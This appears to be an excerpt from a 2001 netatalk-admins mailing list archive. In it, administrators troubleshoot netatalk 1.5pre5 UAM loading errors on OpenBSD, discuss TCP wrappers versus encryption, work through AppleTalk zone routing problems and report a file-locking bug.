	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA21854
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 11:33:34 -0500 (EST)
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Thu, 22 Mar 2001 10:33:41 -0600
Date: Thu, 22 Mar 2001 10:33:41 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: O-BSD uam_load errors + wrap/encrypt?
In-Reply-To: <p04310106b6deb9efca57@[138.195.38.25]>
Message-Id: <Pine.SOL.4.20.0103220934110.12567-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

(was O-BSD 2.8 1.5pre5 compile errors)

Greetings again;

gmake fixed the compile issues, a sincere thank you, but now my
uam/encryption libraries won't load. More details below.

on 03/21/01, Jean-Philippe Rey wisely declared:

<snip>
> 
> Summary
> -------
> 
> ./configure
> vi libtool   -> 368a   output_objdir=.
> vi config.h  ->   6a   #define NO_CRYPT_H 1
> gmake
> gmake install

I tried all this, exactly as written, and with a few variations: not
making the libtool/config.h changes, compiling with and without
--with-tcp-wrappers and --with-ssl-dirs=/usr.

For every variation, this comes up in my logs when the daemons are
starting:

afpd[] uam_load(uams_guest.so): mod_symbol error
afpd[] uam_load(uams_clrtxt.so): mod_symbol error
afpd[] uam_load(uams_dhx.so): mod_symbol error

Unsuprisingly, the macs can't log in, and they get the error usually
associated with not having the most up-to-date AppleShare client, which I
got for good measure, although I know the problem is with the above
errors.

During the gmake install, the following errors occurred:

In file included from auth.c:25:
uam_auth.h:35: warning: `struct papfile' declared inside parameter list
uam_auth.h:35: warning: it's scope is only this definition or declaration,
with is probably not what you want.

the same error occurred with uam.c:25

Jean-Philippe Rey suggested not adding in the --with-tcp-wrappers during
the compile. Is this because they won't work in this beta, or does the
compile adds them in manually? I would very much like to use them. The
whole reason I'm up here on the bleeding beta edge is to use a mostly
secure version of netatalk, I have a perfectly functional version of
1.4b2+asun2.1.3, it just doesn't encrypt anything, but it does use
wrappers. If wrappers don't work now, would people recommend staying with
a wrapped / non-encrypted netatalk, or go non-wrapped / encrypted
(assuming I can get this problem ironed out)? I have no solid evidence of
sniffers on my dept. network, but I'm at a big University, and I'm
starting the migration to SSH as well, so it seems silly to insist on SSH
when my netatalk connections are cleartext.

My environment:
#pkg_info
ssl-2.7-USA
amanda-2.4.1p1
libtool-1.3.5
automake-1.4
autoconf-2.13
gettext-0.10.35
gmake-3.79.1

on OpenBSD 2.8/i386

Again, many thanks for the quick turn-around and helpful answers.

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *





From netatalk.administrators-errors@umich.edu  Thu Mar 22 12:17:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA09993
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 12:17:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18551
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 12:17:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18540
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 12:17:28 -0500 (EST)
Received: from abductee.12inch.com (smtp.visusmedia.com [38.241.102.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA18518
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 12:17:27 -0500 (EST)
Received: from [192.168.200.10] (sc-24-165-68-116.socal.rr.com [24.165.68.116])
	by abductee.12inch.com (8.9.3/8.8.7) with ESMTP id JAA17488;
	Thu, 22 Mar 2001 09:24:25 -0800
Mime-Version: 1.0
X-Mailer: Macintosh Eudora Pro Version 4.2.1-J
Message-Id: <v04210a00b6dfe2801f1d@[192.168.200.10]>
In-Reply-To: 
 <Pine.LNX.4.30.0103221120400.23515-100000@hooloovoo.math.ohio-state.edu>
References: 
 <Pine.LNX.4.30.0103221120400.23515-100000@hooloovoo.math.ohio-state.edu>
Date: Thu, 22 Mar 2001 09:12:33 -0800
To: Chad Cunningham <ccunning@math.ohio-state.edu>,
        <netatalk-admins@umich.edu>
From: alan premselaar <alien@12inch.com>
Subject: Re: zone router
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"
Content-Transfer-Encoding: 7bit

Chad,

  Once you make a change to your appletalk network like that, you'll need to 
either a) reboot your macs, or b) open up the appletalk control panel on 
each of them... at which point it should tell you that your appletalk 
network setting is no longer valid and re-probe the ethernet device for 
zones, etc.  In some cases, i've had to switch the appletalk from the 
ethernet device to the printerport (or something else) and back before it 
would recognize the new zones.

alan

At 11:26$B8aA0(B -0500 3.22.01, Chad Cunningham wrote:
>Hi,
>
>I am trying to replace a Solaris box running CAP with a linux box running
>netatalk. I can't seem to get zones to work properly under the new
>netatalk setup. My atalkd.conf looks like
>
>eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone "Staff" -zone "RTL" 
>-zone "Faculty" -zone "EMPT" -zone "Public"
>
>It seems happy with this, the atalkd.conf doesn't get overwritten when I
>start up and I can use getzones and they all show up. However, none of the
>macs recognize any zones. Any idea why this might be?
>
> --
>
>Chad Cunningham
>ccunning@math.ohio-state.edu
>
>"Well, once again my friend, we find that science is a two-headed beast. One
>head is nice, it gives us aspirin and other modern conveniences,...but the
>other head of science is bad! Oh beware the other head of science, Arthur, it
>bites!"

----
  there's nothing like the undying sense of reliability provided by modern 
technology.
----
alan premselaar
alien@12inch.com
www.12inch.com

From netatalk.administrators-errors@umich.edu  Thu Mar 22 12:18:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA10060
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 12:18:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA08715
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 12:18:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA08690
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 12:18:37 -0500 (EST)
Received: from chat.ecp.fr (chat.ecp.fr [138.195.33.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA08473
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 12:18:31 -0500 (EST)
Received: from oufpasbugn.ecp.fr (oufpasbugn.ecp.fr [138.195.33.171])
	by chat.ecp.fr (Postfix) with ESMTP id 610D37DF0
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 18:18:30 +0100 (CET)
Received: from (smap@localhost)
          by oufpasbugn.ecp.fr (8.7.6/jtpda-5.2) id SAA25575
          for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 18:18:30 +0100
Received: from panthere.ads.ecp.fr(138.195.38.12) by oufpasbugn.ecp.fr via smap (V2.0beta.1)
	id xma025573; Thu, 22 Mar 01 18:18:12 +0100
Received: from [138.195.38.25] (voiles.ads.ecp.fr [138.195.38.25])
          by panthere.ads.ecp.fr (8.9.1a/jtpda-5.2) with ESMTP id SAA08565
          for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 18:18:21 +0100 (MET)
Mime-Version: 1.0
X-Sender: jprey@mailhost.ads.ecp.fr
Message-Id: <p04310104b6dfe2405e9e@[138.195.38.25]>
In-Reply-To: <Pine.SOL.4.20.0103220934110.12567-100000@garnet.tc.umn.edu>
References: <Pine.SOL.4.20.0103220934110.12567-100000@garnet.tc.umn.edu>
Date: Thu, 22 Mar 2001 18:18:08 +0100
To: netatalk-admins@umich.edu
From: Jean-Philippe Rey <jprey@ads.ecp.fr>
Subject: Re: O-BSD uam_load errors + wrap/encrypt?
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA10060

At 10:33 -0600 22/03/01, Karen A Swanberg wrote:
>
>For every variation, this comes up in my logs when the daemons are
>starting:
>
>afpd[] uam_load(uams_guest.so): mod_symbol error
>afpd[] uam_load(uams_clrtxt.so): mod_symbol error
>afpd[] uam_load(uams_dhx.so): mod_symbol error

Now that you mention it, I also encountered this problem. I solved it by adding

                  #define DLSYM_PREPEND_UNDERSCORE 1

in the config.h file, and then gmake again.

>Jean-Philippe Rey suggested not adding in the --with-tcp-wrappers during
>the compile. Is this because they won't work in this beta, or does the
>compile adds them in manually? I would very much like to use them. The
>whole reason I'm up here on the bleeding beta edge is to use a mostly
>secure version of netatalk, I have a perfectly functional version of
>1.4b2+asun2.1.3, it just doesn't encrypt anything, but it does use
>wrappers. If wrappers don't work now, would people recommend staying with
>a wrapped / non-encrypted netatalk, or go non-wrapped / encrypted
>(assuming I can get this problem ironed out)? I have no solid evidence of
>sniffers on my dept. network, but I'm at a big University, and I'm
>starting the migration to SSH as well, so it seems silly to insist on SSH
>when my netatalk connections are cleartext.

My netatalk server already resides in a protected network, so 
wrappers are not so important for me. When I saw that it won't work 
out of the box, I didn't try to make it work. But it was before I add 
the DLSYM_PREPEND_UNDERSCORE line, that may solve also the wrapper 
library problem. Give it a try.
-- 
Jean-Philippe Rey           Délégué informatique - École Centrale Paris
jprey@ads.ecp.fr            92295 Chātenay-Malabry Cedex - France

From netatalk.administrators-errors@umich.edu  Thu Mar 22 12:58:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA14591
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 12:58:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18182
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 12:58:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18152
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 12:58:42 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA17654
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 12:58:30 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id MAA21550;
	Thu, 22 Mar 2001 12:58:11 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AB9F222.ABCCBE7E@univrel.pr.uconn.edu>
Date: Thu, 22 Mar 2001 07:37:54 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Jean-Philippe Rey <jprey@ads.ecp.fr>
CC: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: O-BSD uam_load errors + wrap/encrypt?
References: <Pine.SOL.4.20.0103220934110.12567-100000@garnet.tc.umn.edu> <p04310104b6dfe2405e9e@[138.195.38.25]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jean-Philippe Rey wrote:
> 
> At 10:33 -0600 22/03/01, Karen A Swanberg wrote:
> >
> >For every variation, this comes up in my logs when the daemons are
> >starting:
> >
> >afpd[] uam_load(uams_guest.so): mod_symbol error
> >afpd[] uam_load(uams_clrtxt.so): mod_symbol error
> >afpd[] uam_load(uams_dhx.so): mod_symbol error
> 
> Now that you mention it, I also encountered this problem. I solved it by adding
> 
>                   #define DLSYM_PREPEND_UNDERSCORE 1
> 
> in the config.h file, and then gmake again.

Just patched configure.in to define DLSYM_PREPEND_UNDERSCORE for
OpenBSD.

Thanks,
jeff

From netatalk.administrators-errors@umich.edu  Thu Mar 22 13:12:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA14849
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 13:12:40 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07813
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 13:12:40 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07800
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 13:12:39 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA07769
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 13:12:38 -0500 (EST)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f2MICbR23687;
	Thu, 22 Mar 2001 13:12:37 -0500
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id E9840B65E; Thu, 22 Mar 2001 13:12:36 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id E5CEDB65D; Thu, 22 Mar 2001 13:12:36 -0500 (EST)
Date: Thu, 22 Mar 2001 13:12:36 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: alan premselaar <alien@12inch.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: zone router
In-Reply-To: <v04210a00b6dfe2801f1d@[192.168.200.10]>
Message-ID: <Pine.LNX.4.30.0103221310040.23515-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1


Hi,

I had rebooted them, didn't do anything. I tried opening the appletalk
control panel and switching the appletalk connection off of ethernet and
then back. This gave me all the zones, but for some reason every computer
was in every zone... Also, after about 2 minutes, the mac would lose all
it's zones and say that the appletalk network has become unavailable...

On Thu, 22 Mar 2001, alan premselaar wrote:

> Chad,
>
>   Once you make a change to your appletalk network like that, you'll need to
> either a) reboot your macs, or b) open up the appletalk control panel on
> each of them... at which point it should tell you that your appletalk
> network setting is no longer valid and re-probe the ethernet device for
> zones, etc.  In some cases, i've had to switch the appletalk from the
> ethernet device to the printerport (or something else) and back before it
> would recognize the new zones.
>
> alan
>
> At 11:26$B8aA0(B -0500 3.22.01, Chad Cunningham wrote:
> >Hi,
> >
> >I am trying to replace a Solaris box running CAP with a linux box running
> >netatalk. I can't seem to get zones to work properly under the new
> >netatalk setup. My atalkd.conf looks like
> >
> >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone "Staff" -zone "RTL"
> >-zone "Faculty" -zone "EMPT" -zone "Public"
> >
> >It seems happy with this, the atalkd.conf doesn't get overwritten when I
> >start up and I can use getzones and they all show up. However, none of the
> >macs recognize any zones. Any idea why this might be?
> >
> > --
> >
> >Chad Cunningham
> >ccunning@math.ohio-state.edu
> >
> >"Well, once again my friend, we find that science is a two-headed beast. One
> >head is nice, it gives us aspirin and other modern conveniences,...but the
> >other head of science is bad! Oh beware the other head of science, Arthur, it
> >bites!"
>
> ----
>   there's nothing like the undying sense of reliability provided by modern
> technology.
> ----
> alan premselaar
> alien@12inch.com
> www.12inch.com
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Thu Mar 22 13:27:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA15288
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 13:27:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06457
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 13:27:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06436
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 13:27:19 -0500 (EST)
Received: from abductee.12inch.com (smtp.visusmedia.com [38.241.102.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA06331
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 13:27:16 -0500 (EST)
Received: from [192.168.200.10] (sc-24-165-68-116.socal.rr.com [24.165.68.116])
	by abductee.12inch.com (8.9.3/8.8.7) with ESMTP id KAA17672;
	Thu, 22 Mar 2001 10:34:20 -0800
Mime-Version: 1.0
X-Mailer: Macintosh Eudora Pro Version 4.2.1-J
Message-Id: <v04210a01b6dff3831e51@[192.168.200.10]>
In-Reply-To: 
 <Pine.LNX.4.30.0103221310040.23515-100000@hooloovoo.math.ohio-state.edu>
References: 
 <Pine.LNX.4.30.0103221310040.23515-100000@hooloovoo.math.ohio-state.edu>
Date: Thu, 22 Mar 2001 10:24:22 -0800
To: Chad Cunningham <ccunning@math.ohio-state.edu>
From: alan premselaar <alien@12inch.com>
Subject: Re: zone router
Cc: <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"
Content-Transfer-Encoding: 7bit

do you have any other appletalk routers on your network?

when the macs see the zones in the chooser (after clicking on appleshare), 
what zone(s) does the linux server show up in?

more than likely you've got another appletalk router somewhere on your 
network and it has conflicting zone information.

alan

At 1:12$B8a8e(B -0500 3.22.01, Chad Cunningham wrote:
>Hi,
>
>I had rebooted them, didn't do anything. I tried opening the appletalk
>control panel and switching the appletalk connection off of ethernet and
>then back. This gave me all the zones, but for some reason every computer
>was in every zone... Also, after about 2 minutes, the mac would lose all
>it's zones and say that the appletalk network has become unavailable...
>
>On Thu, 22 Mar 2001, alan premselaar wrote:
>
> > Chad,
> >
> >   Once you make a change to your appletalk network like that, you'll 
>need to
> > either a) reboot your macs, or b) open up the appletalk control panel on
> > each of them... at which point it should tell you that your appletalk
> > network setting is no longer valid and re-probe the ethernet device for
> > zones, etc.  In some cases, i've had to switch the appletalk from the
> > ethernet device to the printerport (or something else) and back before it
> > would recognize the new zones.
> >
> > alan
> >
> > At 11:26$B8aA0(B -0500 3.22.01, Chad Cunningham wrote:
> > >Hi,
> > >
> > >I am trying to replace a Solaris box running CAP with a linux box running
> > >netatalk. I can't seem to get zones to work properly under the new
> > >netatalk setup. My atalkd.conf looks like
> > >
> > >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone "Staff" -zone "RTL"
> > >-zone "Faculty" -zone "EMPT" -zone "Public"
> > >
> > >It seems happy with this, the atalkd.conf doesn't get overwritten when I
> > >start up and I can use getzones and they all show up. However, none of the
> > >macs recognize any zones. Any idea why this might be?
> > >
> > > --
> > >
> > >Chad Cunningham
> > >ccunning@math.ohio-state.edu
> > >
> > >"Well, once again my friend, we find that science is a two-headed 
>beast. One
> > >head is nice, it gives us aspirin and other modern conveniences,...but the
> > >other head of science is bad! Oh beware the other head of science, 
>Arthur, it
> > >bites!"
> >
> > ----
> >   there's nothing like the undying sense of reliability provided by modern
> > technology.
> > ----
> > alan premselaar
> > alien@12inch.com
> > www.12inch.com
> >
>
>--
>
>Chad Cunningham
>ccunning@math.ohio-state.edu
>
>"Well, once again my friend, we find that science is a two-headed beast. One
>head is nice, it gives us aspirin and other modern conveniences,...but the
>other head of science is bad! Oh beware the other head of science, Arthur, it
>bites!"

----
  there's nothing like the undying sense of reliability provided by modern 
technology.
----
alan premselaar
alien@12inch.com
www.12inch.com

From netatalk.administrators-errors@umich.edu  Thu Mar 22 14:00:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA16188
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 14:00:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19272
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 14:00:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19260
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 14:00:12 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA19244
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 14:00:11 -0500 (EST)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f2MJ0AR26405;
	Thu, 22 Mar 2001 14:00:10 -0500
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 3E39FB65C; Thu, 22 Mar 2001 14:00:10 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 3A802B65A; Thu, 22 Mar 2001 14:00:10 -0500 (EST)
Date: Thu, 22 Mar 2001 14:00:10 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: alan premselaar <alien@12inch.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: zone router
In-Reply-To: <v04210a01b6dff3831e51@[192.168.200.10]>
Message-ID: <Pine.LNX.4.30.0103221357110.23515-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1


As far as I know, there are no other appletalk routers. Is there any way
to scan for it? But when I shut down the netatalk or CAP server, the macs
say appletalk is gone and register no zones, so I would think that would
mean that there isn't another router running, right?

This is very strange...

On Thu, 22 Mar 2001, alan premselaar wrote:

> do you have any other appletalk routers on your network?
>
> when the macs see the zones in the chooser (after clicking on appleshare),
> what zone(s) does the linux server show up in?
>
> more than likely you've got another appletalk router somewhere on your
> network and it has conflicting zone information.
>
> alan
>
> At 1:12$B8a8e(B -0500 3.22.01, Chad Cunningham wrote:
> >Hi,
> >
> >I had rebooted them, didn't do anything. I tried opening the appletalk
> >control panel and switching the appletalk connection off of ethernet and
> >then back. This gave me all the zones, but for some reason every computer
> >was in every zone... Also, after about 2 minutes, the mac would lose all
> >it's zones and say that the appletalk network has become unavailable...
> >
> >On Thu, 22 Mar 2001, alan premselaar wrote:
> >
> > > Chad,
> > >
> > >   Once you make a change to your appletalk network like that, you'll
> >need to
> > > either a) reboot your macs, or b) open up the appletalk control panel on
> > > each of them... at which point it should tell you that your appletalk
> > > network setting is no longer valid and re-probe the ethernet device for
> > > zones, etc.  In some cases, i've had to switch the appletalk from the
> > > ethernet device to the printerport (or something else) and back before it
> > > would recognize the new zones.
> > >
> > > alan
> > >
> > > At 11:26$B8aA0(B -0500 3.22.01, Chad Cunningham wrote:
> > > >Hi,
> > > >
> > > >I am trying to replace a Solaris box running CAP with a linux box running
> > > >netatalk. I can't seem to get zones to work properly under the new
> > > >netatalk setup. My atalkd.conf looks like
> > > >
> > > >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone "Staff" -zone "RTL"
> > > >-zone "Faculty" -zone "EMPT" -zone "Public"
> > > >
> > > >It seems happy with this, the atalkd.conf doesn't get overwritten when I
> > > >start up and I can use getzones and they all show up. However, none of the
> > > >macs recognize any zones. Any idea why this might be?
> > > >
> > > > --
> > > >
> > > >Chad Cunningham
> > > >ccunning@math.ohio-state.edu
> > > >
> > > >"Well, once again my friend, we find that science is a two-headed
> >beast. One
> > > >head is nice, it gives us aspirin and other modern conveniences,...but the
> > > >other head of science is bad! Oh beware the other head of science,
> >Arthur, it
> > > >bites!"
> > >
> > > ----
> > >   there's nothing like the undying sense of reliability provided by modern
> > > technology.
> > > ----
> > > alan premselaar
> > > alien@12inch.com
> > > www.12inch.com
> > >
> >
> >--
> >
> >Chad Cunningham
> >ccunning@math.ohio-state.edu
> >
> >"Well, once again my friend, we find that science is a two-headed beast. One
> >head is nice, it gives us aspirin and other modern conveniences,...but the
> >other head of science is bad! Oh beware the other head of science, Arthur, it
> >bites!"
>
> ----
>   there's nothing like the undying sense of reliability provided by modern
> technology.
> ----
> alan premselaar
> alien@12inch.com
> www.12inch.com
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Thu Mar 22 14:53:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17387
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 14:53:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28087
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 14:53:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28067
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 14:53:16 -0500 (EST)
Received: from duffman (duffman.mgh.harvard.edu [132.183.191.79])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA28006
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 14:53:14 -0500 (EST)
Received: from eli (eli.mgh.harvard.edu [132.183.191.68])
	by duffman (Postfix on SuSE eMail Server 2.0) with SMTP id 7EF561436F9
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 14:51:20 -0500 (EST)
From: Norman tenBroek <tenbroek@eli.mgh.harvard.edu>
Reply-To: tenbroek@frodo.mgh.harvard.edu
To: netatalk-admins@umich.edu
Subject: Re: The item "..." cannot be written, because it is locked.
Date: Thu, 22 Mar 2001 02:53:23 -0500
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="us-ascii"
References: <1012885106.984560395@[192.168.99.123]>
In-Reply-To: <1012885106.984560395@[192.168.99.123]>
MIME-Version: 1.0
Message-Id: <01032202532300.00679@eli>
Content-Transfer-Encoding: 8bit

On Wednesday 14 March 2001 08:59, Chad Leigh, Objectwerks, Inc. wrote:
> Just for the record, the same happened to me on FreeBSD 4.2 intel with this
> release...
>
> --On Wednesday, March 14, 2001 1:14 AM -0600 "Bruce A. Burdick, Jr."
>
> <bucky@interaccess.com> wrote:
> > I have this same issue on 1.5pre5 on a LinuxPPC 2000 Q4 PowerMac 7300
> > (binary built with rpm --rebuild, then installed with rpm -i).
> > Additionally, copying files to the server creates an empty file despite
> > the warning. And deleting files results in a privileges warning -- but
> > the files trash anyway. And emptying the trash does not succeed. But
> > dismounting and remounting the volume, after such a sequence, shows the
> > files were indeed deleted. _But_ not for directories containing (empty)
> > files: the files must be trashed first (producing the false warnings) and
> > then the empty directory may be trashed.

More for the record:
I'm having the same problem on both redhat7.0 and SuSE 7.1 intel. Neither are 
production.
-- 
Norman tenBroek
Systems Manager
Dept. of Molecular Biology
Mass. General Hospital


From netatalk.administrators-errors@umich.edu  Thu Mar 22 15:14:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA18104
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 15:14:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07284
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 15:14:08 -0500 (EST)
Received: (from daemon@localhost)
